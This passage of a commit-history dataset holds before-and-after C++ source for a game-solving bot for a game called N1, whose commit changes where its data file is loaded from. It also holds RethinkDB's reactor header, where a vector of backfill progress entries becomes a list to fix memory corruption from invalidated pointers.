winchance_[sizeof(winchance)];\n    };\n    for (nstates = 0; ; nstates++) {\n      data_file.read(state_, sizeof(state));\n      data_file.read(winchance_, sizeof(winchance));\n      if (!data_file)\n        break;\n      if (state >= 1 << 25 ||\n          winchance < -0.01 ||\n          winchance > 1.01) {\n        std::cerr << \"Data file is corrupt\" << endl;\n        exit(-1);\n      }\n      memoization[state] = winchance;\n    }\n    cout << \"Read \" << nstates << \" states from data file\" << endl;\n  }\n  cout << \"Finished initializing.\" << endl;\n  moonburst_loop();\n}\n<commit_msg>look for the data file next to the executable<commit_after>#include <fstream>\n#include <iostream>\n#include <string>\n#include <algorithm>\n\nusing std::cin;\nusing std::cout;\nusing std::endl;\nusing std::string;\n\n#include \"eval_state.h\"\n#include \"game_state.h\"\n\nstatic const string type_names[] = {\"Prep\", \"Catch\", \"Pierce\", \"Aura\"};\n\nvoid printState(const struct game_state &state) {\n  cout << \"Player 1\" << endl;\n  cout << \"HP: \" << static_cast<int>(state.p1.hp) << endl;\n  cout << \"Ammo: \" << static_cast<int>(state.p1.bullets) << endl;\n  cout << \"Fatigue: \" << static_cast<int>(state.p1.fatigue) << endl;\n  cout << \"Power: \" << type_names[state.p1.type] << endl << endl;\n\n  cout << \"Player 2\" << endl;\n  cout << \"HP: \" << static_cast<int>(state.p2.hp) << endl;\n  cout << \"Ammo: \" << static_cast<int>(state.p2.bullets) << endl;\n  cout << \"Fatigue: \" << static_cast<int>(state.p2.fatigue) << endl;\n  cout << \"Power: \" << type_names[state.p2.type] << endl << endl;\n\n  cout << \"Round \" << static_cast<int>(state.round) << endl;\n}\n\n\/\/ MoonBurst is a lazy pony\nstatic void moonburst_loop() {\n  for (;;) {\n    string s, p1power, p2power;\n    int p1hp, p1ammo, p1fat, p2hp, p2ammo, p2fat, round;\n    do {\n      cin >> s;\n    } while (s != \"HP:\" && cin);\n    cin >> p1hp >> s >> p1ammo >> s >> p1fat >> p1power;\n    if (p1power == \"Power:\") {\n      cin >> p1power;\n    }\n    do {\n      cin >> s;\n    } while (s != \"HP:\" && cin);\n    cin >> p2hp >> s >> p2ammo >> s >> p2fat >> p2power;\n    if (p2power == \"Power:\") {\n      cin >> p2power;\n    }\n    cin >> s >> round;\n    if (!cin) {\n      if (cin.eof())\n        return;\n      std::cerr << \"NO U\" << endl;\n      cin.clear();\n      continue;\n    }\n    struct game_state state1;\n    state1.p1.hp = p1hp; state1.p1.bullets = p1ammo; state1.p1.fatigue = p1fat;\n    state1.p2.hp = p2hp; state1.p2.bullets = p2ammo; state1.p2.fatigue = p2fat;\n    if (p1power.find(\"Prep\") != string::npos) {\n      state1.p1.type = PREPARATION;\n    } else if (p1power.find(\"Pierce\") != string::npos) {\n      state1.p1.type = PIERCE;\n    } else if (p1power.find(\"Catch\") != string::npos) {\n      state1.p1.type = CATCH;\n    } else if (p1power.find(\"Aura\") != string::npos) {\n      state1.p1.type = AURA;\n    } else {\n      std::cerr << \"Invalid power for player 1\" << endl;\n    }\n    if (p2power.find(\"Prep\") != string::npos) {\n      state1.p2.type = PREPARATION;\n    } else if (p2power.find(\"Pierce\") != string::npos) {\n      state1.p2.type = PIERCE;\n    } else if (p2power.find(\"Catch\") != string::npos) {\n      state1.p2.type = CATCH;\n    } else if (p2power.find(\"Aura\") != string::npos) {\n      state1.p2.type = AURA;\n    } else {\n      std::cerr << \"Invalid power for player 2\" << endl;\n    }\n    state1.round = round;\n    get_doubletime_strat(state1);\n  }\n}\n\n\/\/ legacy code - takes states in the old format\nstatic void solve_loop() {\n  \/\/ Takes input from cin\n  string argv[10];  \/\/ this array is named argv because I'm lazy\n  while (true) {\n    cout << \"Input position:\" << endl;\n    cin >> argv[1] >> argv[2] >> argv[3] >> argv[4];\n    cin >> argv[5] >> argv[6] >> argv[7] >> argv[8];\n    cin >> argv[9];\n    if (!cin) {\n      if (cin.eof())\n        return;  \/\/ who cares what happened\n      std::cerr << \"Invalid position\" << endl;\n      cin.clear();\n      continue;\n    }\n    struct game_state state1;\n    state1.p1.hp = stoi(argv[1]);\n    state1.p1.bullets = stoi(argv[2]);\n    state1.p1.fatigue = stoi(argv[3]);\n    if (argv[4] == \"prep\") {\n      state1.p1.type = PREPARATION;\n    } else if (argv[4] == \"catch\") {\n      state1.p1.type = CATCH;\n    } else if (argv[4] == \"pierce\") {\n      state1.p1.type = PIERCE;\n    } else if (argv[4] == \"aura\") {\n      state1.p1.type = AURA;\n    } else {\n      std::cerr << \"Invalid power for player 1\" << endl;\n      continue;\n    }\n\n    state1.p2.hp = stoi(argv[5]);\n    state1.p2.bullets = stoi(argv[6]);\n    state1.p2.fatigue = stoi(argv[7]);\n    if (argv[8] == \"prep\") {\n      state1.p2.type = PREPARATION;\n    } else if (argv[8] == \"catch\") {\n      state1.p2.type = CATCH;\n    } else if (argv[8] == \"pierce\") {\n      state1.p2.type = PIERCE;\n    } else if (argv[8] == \"aura\") {\n      state1.p2.type = AURA;\n    } else {\n      std::cerr << \"Invalid power for player 2\" << endl;\n      continue;\n    }\n    state1.round = stoi(argv[9]);\n    cout << endl << \"Solving position (with doubletimes):\" << endl;\n    printState(state1);\n    get_doubletime_strat(state1);\n  }\n}\n\nstring dirname(string source)\n{\n  source.erase(std::find(source.rbegin(), source.rend(), '\/').base(), source.end());\n  return source;\n}\n\nint main(int argc, char** argv) {\n  cout << \"N1 bot: ver 0.2.1\" << endl;\n  cout << \"Copy the match information from the N1 page (N1 Enhancer script\"\n          \" compatible)\" << endl;\n\n  string data_path = dirname(argv[0]) + \"n1bot_data.bin\";\n\n  std::ifstream data_file(data_path, std::ios::in | std::ios::binary);\n  if (!data_file) {\n    cout << \"Data file not found, generating...\" << endl;\n    dout.reset(new std::ofstream(\"n1bot_data.bin\",\n                                 std::ios::out | std::ios::binary));\n    int type1, type2;\n    for (type1 = 0; type1 < 4; ++type1) {\n      for (type2 = 0; type2 < 4; ++type2) {\n        struct game_state state1 = new_game(type1, type2);\n        double winChance = eval_state(state1);\n        cout << type_names[type1] << \" v \" << type_names[type2] << '\\t'\n             << winChance << endl;\n      }\n    }\n    dout.reset();\n  } else {\n    \/\/ Read from data file\n    int nstates;\n    union {\n      int state;\n      char state_[sizeof(state)];\n    };\n    union {\n      double winchance;\n      char winchance_[sizeof(winchance)];\n    };\n    for (nstates = 0; ; nstates++) {\n      data_file.read(state_, sizeof(state));\n      data_file.read(winchance_, sizeof(winchance));\n      if (!data_file)\n        break;\n      if (state >= 1 << 25 ||\n          winchance < -0.01 ||\n          winchance > 1.01) {\n        std::cerr << \"Data file is corrupt\" << endl;\n        exit(-1);\n      }\n      memoization[state] = winchance;\n    }\n    cout << \"Read \" << nstates << \" states from data file\" << endl;\n  }\n  cout << \"Finished initializing.\" << endl;\n  moonburst_loop();\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>refactor away common arguments struct and local function<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2010-2014 RethinkDB, all rights reserved.\n#ifndef CLUSTERING_REACTOR_REACTOR_HPP_\n#define CLUSTERING_REACTOR_REACTOR_HPP_\n\n#include <map>\n#include <vector>\n\n#include \"clustering\/immediate_consistency\/branch\/history.hpp\"\n#include \"clustering\/immediate_consistency\/query\/master.hpp\"\n#include \"clustering\/reactor\/blueprint.hpp\"\n#include \"clustering\/reactor\/directory_echo.hpp\"\n#include \"clustering\/reactor\/metadata.hpp\"\n#include \"concurrency\/watchable.hpp\"\n#include \"containers\/cow_ptr.hpp\"\n#include \"rpc\/connectivity\/peer_id.hpp\"\n#include \"rpc\/semilattice\/view.hpp\"\n\nclass io_backender_t;\nclass multistore_ptr_t;\nclass backfill_throttler_t;\n\n\/* `reactor_t::get_progress()` will return a map with one `reactor_progress_report_t` for\neach primary or secondary shard that is currently backfilling or has completed a\nbackfill. *\/\nclass reactor_progress_report_t {\npublic:\n    \/* `is_ready` is true if the shard is completely ready. *\/\n    bool is_ready;\n\n    \/* `start_time` is the moment the `reactor_progress_report_t` was constructed. *\/\n    microtime_t start_time;\n\n    \/* `backfills` contains the peer ID and progress fraction (from 0 to 1) for each\n    backfill that this server is receiving for that shard. The backfills will stay even\n    after `is_ready` becomes `true`, but all the progress fractions will be 1.  *\/\n    std::vector<std::pair<peer_id_t, double> > backfills;\n};\n\nclass reactor_t : public home_thread_mixin_t {\npublic:\n    reactor_t(\n            const base_path_t& base_path,\n            io_backender_t *io_backender,\n            mailbox_manager_t *mailbox_manager,\n            const server_id_t &server_id,\n            backfill_throttler_t *backfill_throttler,\n            ack_checker_t *ack_checker,\n            watchable_map_t<\n                peer_id_t,\n                directory_echo_wrapper_t<cow_ptr_t<reactor_business_card_t> >\n                > *reactor_directory,\n            branch_history_manager_t *branch_history_manager,\n            clone_ptr_t<watchable_t<blueprint_t> > blueprint_watchable,\n            multistore_ptr_t *_underlying_svs,\n            perfmon_collection_t *_parent_perfmon_collection,\n            rdb_context_t *) THROWS_NOTHING;\n\n    clone_ptr_t<watchable_t<directory_echo_wrapper_t<cow_ptr_t<reactor_business_card_t> > > > get_reactor_directory();\n\n    \/* This might block *\/\n    std::map<region_t, reactor_progress_report_t> get_progress();\n\nprivate:\n    \/* a directory_entry_t is a sentry that in its contructor inserts an entry\n     * into the directory for a role that we are performing (a role that we\n     * have spawned a coroutine to perform). In its destructor it removes that\n     * entry.\n     *\/\n    class directory_entry_t {\n    public:\n        directory_entry_t(reactor_t *, region_t);\n\n        \/\/Changes just the activity, leaves everything else in tact\n        directory_echo_version_t set(reactor_business_card_t::activity_t);\n\n        \/\/XXX this is a bit of a hack that we should revisit when we know more\n        directory_echo_version_t update_without_changing_id(reactor_business_card_t::activity_t);\n        ~directory_entry_t();\n\n        reactor_activity_id_t get_reactor_activity_id() const;\n    private:\n        reactor_t *const parent;\n        const region_t region;\n        reactor_activity_id_t reactor_activity_id;\n\n        DISABLE_COPYING(directory_entry_t);\n    };\n\n    class current_role_t {\n    public:\n        current_role_t(blueprint_role_t r, const blueprint_t &b);\n        blueprint_role_t role;\n        watchable_variable_t<blueprint_t> blueprint;\n        cond_t abort_roles;\n    };\n\n    \/* To save typing *\/\n    peer_id_t get_me() THROWS_NOTHING;\n\n\n    void on_blueprint_changed() THROWS_NOTHING;\n    void try_spawn_roles() THROWS_NOTHING;\n    void run_cpu_sharded_role(\n            int cpu_shard_number,\n            current_role_t *role,\n            const region_t& region,\n            multistore_ptr_t *svs_subview,\n            signal_t *interruptor,\n            cond_t *abort_roles) THROWS_NOTHING;\n    void run_role(\n            region_t region,\n            current_role_t *role,\n            auto_drainer_t::lock_t keepalive) THROWS_NOTHING;\n\n    \/* Implemented in clustering\/reactor\/reactor_be_primary.tcc *\/\n    void be_primary(region_t region, store_view_t *store, const clone_ptr_t<watchable_t<blueprint_t> > &,\n            signal_t *interruptor) THROWS_NOTHING;\n\n    \/* A backfill candidate is a structure we use to keep track of the different\n     * peers we could backfill from and what we could backfill from them to make it\n     * easier to grab data from them. *\/\n    class backfill_candidate_t {\n    public:\n        version_range_t version_range;\n        typedef clone_ptr_t<watchable_t<boost::optional<boost::optional<backfiller_business_card_t> > > > backfiller_bcard_view_t;\n        class backfill_location_t {\n        public:\n            backfill_location_t(const backfiller_bcard_view_t &b, peer_id_t p, reactor_activity_id_t i);\n            backfiller_bcard_view_t backfiller;\n            peer_id_t peer_id;\n            reactor_activity_id_t activity_id;\n        };\n\n        std::vector<backfill_location_t> places_to_get_this_version;\n        bool present_in_our_store;\n\n        backfill_candidate_t(version_range_t _version_range, std::vector<backfill_location_t> _places_to_get_this_version, bool _present_in_our_store);\n    };\n\n    typedef region_map_t<backfill_candidate_t> best_backfiller_map_t;\n\n    void update_best_backfiller(const region_map_t<version_range_t> &offered_backfill_versions,\n                                const backfill_candidate_t::backfill_location_t &backfiller,\n                                best_backfiller_map_t *best_backfiller_out);\n\n    bool is_safe_for_us_to_be_primary(\n        watchable_map_t<peer_id_t, cow_ptr_t<reactor_business_card_t> > *directory,\n        const blueprint_t &blueprint,\n        const region_t &region,\n        best_backfiller_map_t *best_backfiller_out,\n        branch_history_t *branch_history_to_merge_out,\n        bool *should_merge_metadata);\n\n    void is_safe_for_us_to_be_primary_helper(\n        const peer_id_t &peer,\n        const reactor_business_card_t &bcard,\n        const region_t &region,\n        best_backfiller_map_t *best_backfiller_out,\n        branch_history_t *branch_history_to_merge_out,\n        bool *merge_branch_history_out,\n        bool *its_not_safe_out);\n\n    static backfill_candidate_t make_backfill_candidate_from_version_range(const version_range_t &b);\n\n    \/* Implemented in clustering\/reactor\/reactor_be_secondary.tcc *\/\n    bool find_broadcaster_in_directory(\n        const region_t &region,\n        const blueprint_t &bp,\n        watchable_map_t<peer_id_t, cow_ptr_t<reactor_business_card_t> > *directory,\n        clone_ptr_t<watchable_t<boost::optional<boost::optional<\n            broadcaster_business_card_t> > > > *broadcaster_out);\n\n    bool find_replier_in_directory(\n        const region_t &region,\n        const branch_id_t &b_id,\n        const blueprint_t &bp,\n        watchable_map_t<peer_id_t, cow_ptr_t<reactor_business_card_t> > *directory,\n        clone_ptr_t<watchable_t<boost::optional<boost::optional<\n            replier_business_card_t> > > > *replier_out,\n        peer_id_t *peer_id_out,\n        reactor_activity_id_t *activity_out);\n\n    void be_secondary(region_t region, store_view_t *store, const clone_ptr_t<watchable_t<blueprint_t> > &,\n            signal_t *interruptor) THROWS_NOTHING;\n\n\n    \/* Implemented in clustering\/reactor\/reactor_be_nothing.tcc *\/\n    bool is_safe_for_us_to_be_nothing(\n        watchable_map_t<peer_id_t, cow_ptr_t<reactor_business_card_t> > *directory,\n        const blueprint_t &blueprint,\n        const region_t &region);\n\n    void be_nothing(region_t region, store_view_t *store, const clone_ptr_t<watchable_t<blueprint_t> > &,\n            signal_t *interruptor) THROWS_NOTHING;\n\n    static boost::optional<boost::optional<broadcaster_business_card_t> > extract_broadcaster_from_reactor_business_card_primary(\n        const boost::optional<boost::optional<reactor_business_card_t::primary_t> > &bcard);\n\n    \/* Shared between all three roles (primary, secondary, nothing) *\/\n\n    void wait_for_directory_acks(directory_echo_version_t, signal_t *interruptor) THROWS_ONLY(interrupted_exc_t);\n\n    bool attempt_backfill_from_peers(\n        directory_entry_t *directory_entry,\n        reactor_progress_report_t *progress_tracker_on_svs_thread,\n        order_source_t *order_source,\n        const region_t &region,\n        store_view_t *svs,\n        const clone_ptr_t<watchable_t<blueprint_t> > &blueprint,\n        signal_t *interruptor)\n        THROWS_ONLY(interrupted_exc_t);\n\n    template <class activity_t>\n    clone_ptr_t<watchable_t<boost::optional<boost::optional<activity_t> > > > get_directory_entry_view(peer_id_t id, const reactor_activity_id_t&);\n\n    const base_path_t base_path;\n    perfmon_collection_t *parent_perfmon_collection;\n    perfmon_collection_t regions_perfmon_collection;\n    perfmon_membership_t regions_perfmon_membership;\n\n    io_backender_t *io_backender;\n\n    mailbox_manager_t *mailbox_manager;\n\n    server_id_t server_id;\n\n    backfill_throttler_t *backfill_throttler;\n\n    ack_checker_t *ack_checker;\n\n    directory_echo_writer_t<cow_ptr_t<reactor_business_card_t> > directory_echo_writer;\n    watchable_buffer_t<directory_echo_wrapper_t<cow_ptr_t<reactor_business_card_t> > >\n        directory_buffer;\n    directory_echo_mirror_t<cow_ptr_t<reactor_business_card_t> > directory_echo_mirror;\n    branch_history_manager_t *branch_history_manager;\n\n    clone_ptr_t<watchable_t<blueprint_t> > blueprint_watchable;\n\n    multistore_ptr_t *underlying_svs;\n\n    std::map<region_t, current_role_t *> current_roles;\n\n    \/* `reactor_be_primary()` and `reactor_be_secondary()` automatically maintain their\n    own entries in this map. Using `one_per_thread_t` is kind of overkill here because\n    it automatically switches threads to do the construction and destruction, but the\n    additional overhead from the thread switches isn't a big enough cost to justify\n    changing it. *\/\n    one_per_thread_t<std::map<region_t, reactor_progress_report_t> > progress_map;\n\n    auto_drainer_t drainer;\n\n    watchable_t<blueprint_t>::subscription_t blueprint_subscription;\n    rdb_context_t *ctx;\n\n    DISABLE_COPYING(reactor_t);\n};\n\ntemplate <class activity_t>\nclone_ptr_t<watchable_t<boost::optional<boost::optional<activity_t> > > > reactor_t::get_directory_entry_view(peer_id_t p_id, const reactor_activity_id_t &ra_id) {\n    return get_watchable_for_key(directory_echo_mirror.get_internal(), p_id)->subview(\n        [this, p_id, ra_id]\n        (const boost::optional<cow_ptr_t<reactor_business_card_t> > &bcard)\n        -> boost::optional<boost::optional<activity_t> > {\n            if (!static_cast<bool>(bcard)) {\n                return boost::optional<boost::optional<activity_t> >();\n            }\n            reactor_business_card_t::activity_map_t::const_iterator jt =\n                (*bcard)->activities.find(ra_id);\n            if (jt == (*bcard)->activities.end()) {\n                return boost::optional<boost::optional<activity_t> >(\n                    boost::optional<activity_t>());\n            }\n            try {\n                return boost::optional<boost::optional<activity_t> >(\n                    boost::optional<activity_t>(\n                        boost::get<activity_t>(jt->second.activity)));\n            } catch (const boost::bad_get &) {\n                crash(\"Tried to get an activity of an unexpected type! It is assumed \"\n                    \"the person calling this function knows the type of the activity \"\n                    \"they will be getting back.\\n\");\n            }\n        });\n}\n\n\/* `run_until_satisfied_2` repeatedly calls the given function on the contents of the\ngiven `watchable_map_t` and `watchable_t` until the function returns `true` or the\ninterruptor is pulsed. It's efficient because it only calls the function when the values\nof the watchables change. *\/\ntemplate<class key_t, class value_t, class value2_t, class callable_t>\nvoid run_until_satisfied_2(\n        watchable_map_t<key_t, value_t> *input1,\n        clone_ptr_t<watchable_t<value2_t> > input2,\n        const callable_t &fun,\n        signal_t *interruptor,\n        int64_t nap_before_retry_ms = 0) {\n    cond_t *notify = nullptr;\n    typename watchable_map_t<key_t, value_t>::all_subs_t all_subs(\n        input1,\n        [&notify](const key_t &, const value_t *) {\n            if (notify != nullptr) {\n                notify->pulse_if_not_already_pulsed();\n            }\n        },\n        false);\n    typename watchable_t<value2_t>::subscription_t subs(\n        [&notify]() {\n            if (notify != nullptr) {\n                notify->pulse_if_not_already_pulsed();\n            }\n        });\n    {\n        typename watchable_t<value2_t>::freeze_t freeze(input2);\n        subs.reset(input2, &freeze);\n    }\n    while (true) {\n        cond_t cond;\n        assignment_sentry_t<cond_t *> sentry(&notify, &cond);\n        bool ok;\n        input2->apply_read(\n            [&](const value2_t *value2) {\n                ok = fun(input1, *value2);\n            });\n        if (ok) {\n            return;\n        }\n        signal_timer_t timeout;\n        timeout.start(nap_before_retry_ms);\n        wait_interruptible(&timeout, interruptor);\n        wait_interruptible(&cond, interruptor);\n    }\n}\n\n#endif \/* CLUSTERING_REACTOR_REACTOR_HPP_ *\/\n\n<commit_msg>fixing memory corruption due to invalidated vector pointer<commit_after>\/\/ Copyright 2010-2014 RethinkDB, all rights reserved.\n#ifndef CLUSTERING_REACTOR_REACTOR_HPP_\n#define CLUSTERING_REACTOR_REACTOR_HPP_\n\n#include <map>\n#include <list>\n#include <vector>\n\n#include \"clustering\/immediate_consistency\/branch\/history.hpp\"\n#include \"clustering\/immediate_consistency\/query\/master.hpp\"\n#include \"clustering\/reactor\/blueprint.hpp\"\n#include \"clustering\/reactor\/directory_echo.hpp\"\n#include \"clustering\/reactor\/metadata.hpp\"\n#include \"concurrency\/watchable.hpp\"\n#include \"containers\/cow_ptr.hpp\"\n#include \"rpc\/connectivity\/peer_id.hpp\"\n#include \"rpc\/semilattice\/view.hpp\"\n\nclass io_backender_t;\nclass multistore_ptr_t;\nclass backfill_throttler_t;\n\n\/* `reactor_t::get_progress()` will return a map with one `reactor_progress_report_t` for\neach primary or secondary shard that is currently backfilling or has completed a\nbackfill. *\/\nclass reactor_progress_report_t {\npublic:\n    \/* `is_ready` is true if the shard is completely ready. *\/\n    bool is_ready;\n\n    \/* `start_time` is the moment the `reactor_progress_report_t` was constructed. *\/\n    microtime_t start_time;\n\n    \/* `backfills` contains the peer ID and progress fraction (from 0 to 1) for each\n    backfill that this server is receiving for that shard. The backfills will stay even\n    after `is_ready` becomes `true`, but all the progress fractions will be 1.\n    Warning: pointers to the members of this list are passed around, do not\n    change this from a `std::list` unless you are sure you won't be invalidating\n    these pointers. *\/\n    std::list<std::pair<peer_id_t, double> > backfills;\n};\n\nclass reactor_t : public home_thread_mixin_t {\npublic:\n    reactor_t(\n            const base_path_t& base_path,\n            io_backender_t *io_backender,\n            mailbox_manager_t *mailbox_manager,\n            const server_id_t &server_id,\n            backfill_throttler_t *backfill_throttler,\n            ack_checker_t *ack_checker,\n            watchable_map_t<\n                peer_id_t,\n                directory_echo_wrapper_t<cow_ptr_t<reactor_business_card_t> >\n                > *reactor_directory,\n            branch_history_manager_t *branch_history_manager,\n            clone_ptr_t<watchable_t<blueprint_t> > blueprint_watchable,\n            multistore_ptr_t *_underlying_svs,\n            perfmon_collection_t *_parent_perfmon_collection,\n            rdb_context_t *) THROWS_NOTHING;\n\n    clone_ptr_t<watchable_t<directory_echo_wrapper_t<cow_ptr_t<reactor_business_card_t> > > > get_reactor_directory();\n\n    \/* This might block *\/\n    std::map<region_t, reactor_progress_report_t> get_progress();\n\nprivate:\n    \/* a directory_entry_t is a sentry that in its contructor inserts an entry\n     * into the directory for a role that we are performing (a role that we\n     * have spawned a coroutine to perform). In its destructor it removes that\n     * entry.\n     *\/\n    class directory_entry_t {\n    public:\n        directory_entry_t(reactor_t *, region_t);\n\n        \/\/Changes just the activity, leaves everything else in tact\n        directory_echo_version_t set(reactor_business_card_t::activity_t);\n\n        \/\/XXX this is a bit of a hack that we should revisit when we know more\n        directory_echo_version_t update_without_changing_id(reactor_business_card_t::activity_t);\n        ~directory_entry_t();\n\n        reactor_activity_id_t get_reactor_activity_id() const;\n    private:\n        reactor_t *const parent;\n        const region_t region;\n        reactor_activity_id_t reactor_activity_id;\n\n        DISABLE_COPYING(directory_entry_t);\n    };\n\n    class current_role_t {\n    public:\n        current_role_t(blueprint_role_t r, const blueprint_t &b);\n        blueprint_role_t role;\n        watchable_variable_t<blueprint_t> blueprint;\n        cond_t abort_roles;\n    };\n\n    \/* To save typing *\/\n    peer_id_t get_me() THROWS_NOTHING;\n\n\n    void on_blueprint_changed() THROWS_NOTHING;\n    void try_spawn_roles() THROWS_NOTHING;\n    void run_cpu_sharded_role(\n            int cpu_shard_number,\n            current_role_t *role,\n            const region_t& region,\n            multistore_ptr_t *svs_subview,\n            signal_t *interruptor,\n            cond_t *abort_roles) THROWS_NOTHING;\n    void run_role(\n            region_t region,\n            current_role_t *role,\n            auto_drainer_t::lock_t keepalive) THROWS_NOTHING;\n\n    \/* Implemented in clustering\/reactor\/reactor_be_primary.tcc *\/\n    void be_primary(region_t region, store_view_t *store, const clone_ptr_t<watchable_t<blueprint_t> > &,\n            signal_t *interruptor) THROWS_NOTHING;\n\n    \/* A backfill candidate is a structure we use to keep track of the different\n     * peers we could backfill from and what we could backfill from them to make it\n     * easier to grab data from them. *\/\n    class backfill_candidate_t {\n    public:\n        version_range_t version_range;\n        typedef clone_ptr_t<watchable_t<boost::optional<boost::optional<backfiller_business_card_t> > > > backfiller_bcard_view_t;\n        class backfill_location_t {\n        public:\n            backfill_location_t(const backfiller_bcard_view_t &b, peer_id_t p, reactor_activity_id_t i);\n            backfiller_bcard_view_t backfiller;\n            peer_id_t peer_id;\n            reactor_activity_id_t activity_id;\n        };\n\n        std::vector<backfill_location_t> places_to_get_this_version;\n        bool present_in_our_store;\n\n        backfill_candidate_t(version_range_t _version_range, std::vector<backfill_location_t> _places_to_get_this_version, bool _present_in_our_store);\n    };\n\n    typedef region_map_t<backfill_candidate_t> best_backfiller_map_t;\n\n    void update_best_backfiller(const region_map_t<version_range_t> &offered_backfill_versions,\n                                const backfill_candidate_t::backfill_location_t &backfiller,\n                                best_backfiller_map_t *best_backfiller_out);\n\n    bool is_safe_for_us_to_be_primary(\n        watchable_map_t<peer_id_t, cow_ptr_t<reactor_business_card_t> > *directory,\n        const blueprint_t &blueprint,\n        const region_t &region,\n        best_backfiller_map_t *best_backfiller_out,\n        branch_history_t *branch_history_to_merge_out,\n        bool *should_merge_metadata);\n\n    void is_safe_for_us_to_be_primary_helper(\n        const peer_id_t &peer,\n        const reactor_business_card_t &bcard,\n        const region_t &region,\n        best_backfiller_map_t *best_backfiller_out,\n        branch_history_t *branch_history_to_merge_out,\n        bool *merge_branch_history_out,\n        bool *its_not_safe_out);\n\n    static backfill_candidate_t make_backfill_candidate_from_version_range(const version_range_t &b);\n\n    \/* Implemented in clustering\/reactor\/reactor_be_secondary.tcc *\/\n    bool find_broadcaster_in_directory(\n        const region_t &region,\n        const blueprint_t &bp,\n        watchable_map_t<peer_id_t, cow_ptr_t<reactor_business_card_t> > *directory,\n        clone_ptr_t<watchable_t<boost::optional<boost::optional<\n            broadcaster_business_card_t> > > > *broadcaster_out);\n\n    bool find_replier_in_directory(\n        const region_t &region,\n        const branch_id_t &b_id,\n        const blueprint_t &bp,\n        watchable_map_t<peer_id_t, cow_ptr_t<reactor_business_card_t> > *directory,\n        clone_ptr_t<watchable_t<boost::optional<boost::optional<\n            replier_business_card_t> > > > *replier_out,\n        peer_id_t *peer_id_out,\n        reactor_activity_id_t *activity_out);\n\n    void be_secondary(region_t region, store_view_t *store, const clone_ptr_t<watchable_t<blueprint_t> > &,\n            signal_t *interruptor) THROWS_NOTHING;\n\n\n    \/* Implemented in clustering\/reactor\/reactor_be_nothing.tcc *\/\n    bool is_safe_for_us_to_be_nothing(\n        watchable_map_t<peer_id_t, cow_ptr_t<reactor_business_card_t> > *directory,\n        const blueprint_t &blueprint,\n        const region_t &region);\n\n    void be_nothing(region_t region, store_view_t *store, const clone_ptr_t<watchable_t<blueprint_t> > &,\n            signal_t *interruptor) THROWS_NOTHING;\n\n    static boost::optional<boost::optional<broadcaster_business_card_t> > extract_broadcaster_from_reactor_business_card_primary(\n        const boost::optional<boost::optional<reactor_business_card_t::primary_t> > &bcard);\n\n    \/* Shared between all three roles (primary, secondary, nothing) *\/\n\n    void wait_for_directory_acks(directory_echo_version_t, signal_t *interruptor) THROWS_ONLY(interrupted_exc_t);\n\n    bool attempt_backfill_from_peers(\n        directory_entry_t *directory_entry,\n        reactor_progress_report_t *progress_tracker_on_svs_thread,\n        order_source_t *order_source,\n        const region_t &region,\n        store_view_t *svs,\n        const clone_ptr_t<watchable_t<blueprint_t> > &blueprint,\n        signal_t *interruptor)\n        THROWS_ONLY(interrupted_exc_t);\n\n    template <class activity_t>\n    clone_ptr_t<watchable_t<boost::optional<boost::optional<activity_t> > > > get_directory_entry_view(peer_id_t id, const reactor_activity_id_t&);\n\n    const base_path_t base_path;\n    perfmon_collection_t *parent_perfmon_collection;\n    perfmon_collection_t regions_perfmon_collection;\n    perfmon_membership_t regions_perfmon_membership;\n\n    io_backender_t *io_backender;\n\n    mailbox_manager_t *mailbox_manager;\n\n    server_id_t server_id;\n\n    backfill_throttler_t *backfill_throttler;\n\n    ack_checker_t *ack_checker;\n\n    directory_echo_writer_t<cow_ptr_t<reactor_business_card_t> > directory_echo_writer;\n    watchable_buffer_t<directory_echo_wrapper_t<cow_ptr_t<reactor_business_card_t> > >\n        directory_buffer;\n    directory_echo_mirror_t<cow_ptr_t<reactor_business_card_t> > directory_echo_mirror;\n    branch_history_manager_t *branch_history_manager;\n\n    clone_ptr_t<watchable_t<blueprint_t> > blueprint_watchable;\n\n    multistore_ptr_t *underlying_svs;\n\n    std::map<region_t, current_role_t *> current_roles;\n\n    \/* `reactor_be_primary()` and `reactor_be_secondary()` automatically maintain their\n    own entries in this map. Using `one_per_thread_t` is kind of overkill here because\n    it automatically switches threads to do the construction and destruction, but the\n    additional overhead from the thread switches isn't a big enough cost to justify\n    changing it. *\/\n    one_per_thread_t<std::map<region_t, reactor_progress_report_t> > progress_map;\n\n    auto_drainer_t drainer;\n\n    watchable_t<blueprint_t>::subscription_t blueprint_subscription;\n    rdb_context_t *ctx;\n\n    DISABLE_COPYING(reactor_t);\n};\n\ntemplate <class activity_t>\nclone_ptr_t<watchable_t<boost::optional<boost::optional<activity_t> > > > reactor_t::get_directory_entry_view(peer_id_t p_id, const reactor_activity_id_t &ra_id) {\n    return get_watchable_for_key(directory_echo_mirror.get_internal(), p_id)->subview(\n        [this, p_id, ra_id]\n        (const boost::optional<cow_ptr_t<reactor_business_card_t> > &bcard)\n        -> boost::optional<boost::optional<activity_t> > {\n            if (!static_cast<bool>(bcard)) {\n                return boost::optional<boost::optional<activity_t> >();\n            }\n            reactor_business_card_t::activity_map_t::const_iterator jt =\n                (*bcard)->activities.find(ra_id);\n            if (jt == (*bcard)->activities.end()) {\n                return boost::optional<boost::optional<activity_t> >(\n                    boost::optional<activity_t>());\n            }\n            try {\n                return boost::optional<boost::optional<activity_t> >(\n                    boost::optional<activity_t>(\n                        boost::get<activity_t>(jt->second.activity)));\n            } catch (const boost::bad_get &) {\n                crash(\"Tried to get an activity of an unexpected type! It is assumed \"\n                    \"the person calling this function knows the type of the activity \"\n                    \"they will be getting back.\\n\");\n            }\n        });\n}\n\n\/* `run_until_satisfied_2` repeatedly calls the given function on the contents of the\ngiven `watchable_map_t` and `watchable_t` until the function returns `true` or the\ninterruptor is pulsed. It's efficient because it only calls the function when the values\nof the watchables change. *\/\ntemplate<class key_t, class value_t, class value2_t, class callable_t>\nvoid run_until_satisfied_2(\n        watchable_map_t<key_t, value_t> *input1,\n        clone_ptr_t<watchable_t<value2_t> > input2,\n        const callable_t &fun,\n        signal_t *interruptor,\n        int64_t nap_before_retry_ms = 0) {\n    cond_t *notify = nullptr;\n    typename watchable_map_t<key_t, value_t>::all_subs_t all_subs(\n        input1,\n        [&notify](const key_t &, const value_t *) {\n            if (notify != nullptr) {\n                notify->pulse_if_not_already_pulsed();\n            }\n        },\n        false);\n    typename watchable_t<value2_t>::subscription_t subs(\n        [&notify]() {\n            if (notify != nullptr) {\n                